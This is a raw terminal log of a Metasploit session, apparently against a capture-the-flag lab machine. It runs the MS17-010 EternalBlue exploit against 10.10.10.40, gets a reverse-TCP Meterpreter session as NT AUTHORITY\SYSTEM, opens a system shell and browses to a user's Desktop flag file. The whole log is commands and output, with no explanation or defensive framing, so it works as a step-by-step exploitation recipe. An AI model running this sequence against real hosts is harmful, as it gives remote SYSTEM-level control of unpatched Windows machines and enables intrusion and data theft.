1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194
| ┌──(kali㉿offsec)-[~/Desktop] └─$ msfconsole Metasploit tip: Use the resource command to run commands from a file msf6 > search ms17-010
Matching Modules ================
# Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 exploit/windows/smb/ms17_010_eternalblue 2017-03-14 average Yes MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption 1 exploit/windows/smb/ms17_010_psexec 2017-03-14 normal Yes MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution 2 auxiliary/admin/smb/ms17_010_command 2017-03-14 normal No MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution 3 auxiliary/scanner/smb/smb_ms17_010 normal No MS17-010 SMB RCE Detection 4 exploit/windows/smb/smb_doublepulsar_rce 2017-04-14 great Yes SMB DOUBLEPULSAR Remote Code Execution
Interact with a module by name or index. For example info 4, use 4 or use exploit/windows/smb/smb_doublepulsar_rce
msf6 > use 0 [*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp msf6 exploit(windows/smb/ms17_010_eternalblue) > show options
Module options (exploit/windows/smb/ms17_010_eternalblue):
Name Current Setting Required Description ---- --------------- -------- ----------- RHOSTS yes The target host(s), see https: etasploit/basics/using-metasploit.html RPORT 445 yes The target port (TCP) SMBDomain no (Optional) The Windows domain to use for authentication. Only af fects Windows Server 2008 R2, Windows 7, Windows Embedded Standa rd 7 target machines. SMBPass no (Optional) The password for the specified username SMBUser no (Optional) The username to authenticate as VERIFY_ARCH true yes Check if remote architecture matches exploit Target. Only affect s Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines. VERIFY_TARGET true yes Check if remote OS matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target ma chines.
Payload options (windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none) LHOST 172.16.230.132 yes The listen address (an interface may be specified) LPORT 4444 yes The listen port
Exploit target:
Id Name -- ---- 0 Automatic Target
View the full module info with the info, or info -d command.
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 10.10.10.40 RHOSTS => 10.10.10.40 msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 10.10.14.7 LHOST => 10.10.14.7 msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit
[*] Started reverse TCP handler on 10.10.14.7:4444 [*] 10.10.10.40:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check [+] 10.10.10.40:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit) [*] 10.10.10.40:445 - Scanned 1 of 1 hosts (100% complete) [+] 10.10.10.40:445 - The target is vulnerable. [*] 10.10.10.40:445 - Connecting to target for exploitation. [+] 10.10.10.40:445 - Connection established for exploitation. [+] 10.10.10.40:445 - Target OS selected valid for OS indicated by SMB reply [*] 10.10.10.40:445 - CORE raw buffer dump (42 bytes) [*] 10.10.10.40:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73 Windows 7 Profes [*] 10.10.10.40:445 - 0x00000010 73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76 sional 7601 Serv [*] 10.10.10.40:445 - 0x00000020 69 63 65 20 50 61 63 6b 20 31 ice Pack 1 [+] 10.10.10.40:445 - Target arch selected valid for arch indicated by DCE/RPC reply [*] 10.10.10.40:445 - Trying exploit with 12 Groom Allocations. [*] 10.10.10.40:445 - Sending all but last fragment of exploit packet [*] 10.10.10.40:445 - Starting non-paged pool grooming [+] 10.10.10.40:445 - Sending SMBv2 buffers [+] 10.10.10.40:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer. [*] 10.10.10.40:445 - Sending final SMBv2 buffers. [*] 10.10.10.40:445 - Sending last fragment of exploit packet! [*] 10.10.10.40:445 - Receiving response from exploit packet [+] 10.10.10.40:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)! [*] 10.10.10.40:445 - Sending egg to corrupted connection. [*] 10.10.10.40:445 - Triggering free of corrupted buffer. [*] Sending stage (200774 bytes) to 10.10.10.40 [*] Meterpreter session 1 opened (10.10.14.7:4444 -> 10.10.10.40:49158) at 2024-02-15 23:06:28 +0800 [+] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= [+] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= [+] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
meterpreter > whoami [-] Unknown command: whoami meterpreter > meterpreter > getuid Server username: NT AUTHORITY\SYSTEM meterpreter > shell Process 616 created. Channel 1 created. Microsoft Windows [Version 6.1.7601] Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Windows\system32>cd ../../ cd ../../
C:\>ls ls 'ls' is not recognized as an internal or external command, operable program or batch file.
C:\>dir dir Volume in drive C has no label. Volume Serial Number is BE92-053B
Directory of C:\
14/07/2009 03:20 <DIR> PerfLogs 18/02/2022 15:02 <DIR> Program Files 14/07/2017 16:58 <DIR> Program Files (x86) 14/07/2017 13:48 <DIR> Share 21/07/2017 06:56 <DIR> Users 15/02/2024 15:05 <DIR> Windows 0 File(s) 0 bytes 6 Dir(s) 2,391,846,912 bytes free
C:\>cd Users cd Users
C:\Users>dir dir Volume in drive C has no label. Volume Serial Number is BE92-053B
Directory of C:\Users
21/07/2017 06:56 <DIR> . 21/07/2017 06:56 <DIR> .. 21/07/2017 06:56 <DIR> Administrator 14/07/2017 13:45 <DIR> haris 12/04/2011 07:51 <DIR> Public 0 File(s) 0 bytes 5 Dir(s) 2,391,805,952 bytes free
C:\Users>cd haris cd haris
C:\Users\haris>dir dir Volume in drive C has no label. Volume Serial Number is BE92-053B
Directory of C:\Users\haris
14/07/2017 13:45 <DIR> . 14/07/2017 13:45 <DIR> .. 15/07/2017 07:58 <DIR> Contacts 24/12/2017 02:23 <DIR> Desktop 15/07/2017 07:58 <DIR> Documents 15/07/2017 07:58 <DIR> Downloads 15/07/2017 07:58 <DIR> Favorites 15/07/2017 07:58 <DIR> Links 15/07/2017 07:58 <DIR> Music 15/07/2017 07:58 <DIR> Pictures 15/07/2017 07:58 <DIR> Saved Games 15/07/2017 07:58 <DIR> Searches 15/07/2017 07:58 <DIR> Videos 0 File(s) 0 bytes 13 Dir(s) 2,391,805,952 bytes free
C:\Users\haris>cd Desktop cd Desktop
C:\Users\haris\Desktop>dir dir Volume in drive C has no label. Volume Serial Number is BE92-053B
Directory of C:\Users\haris\Desktop
24/12/2017 02:23 <DIR> . 24/12/2017 02:23 <DIR> .. 14/02/2024 19:47 34 user.txt 1 File(s) 34 bytes 2 Dir(s) 2,391,805,952 bytes free
C:\Users\haris\Desktop>
|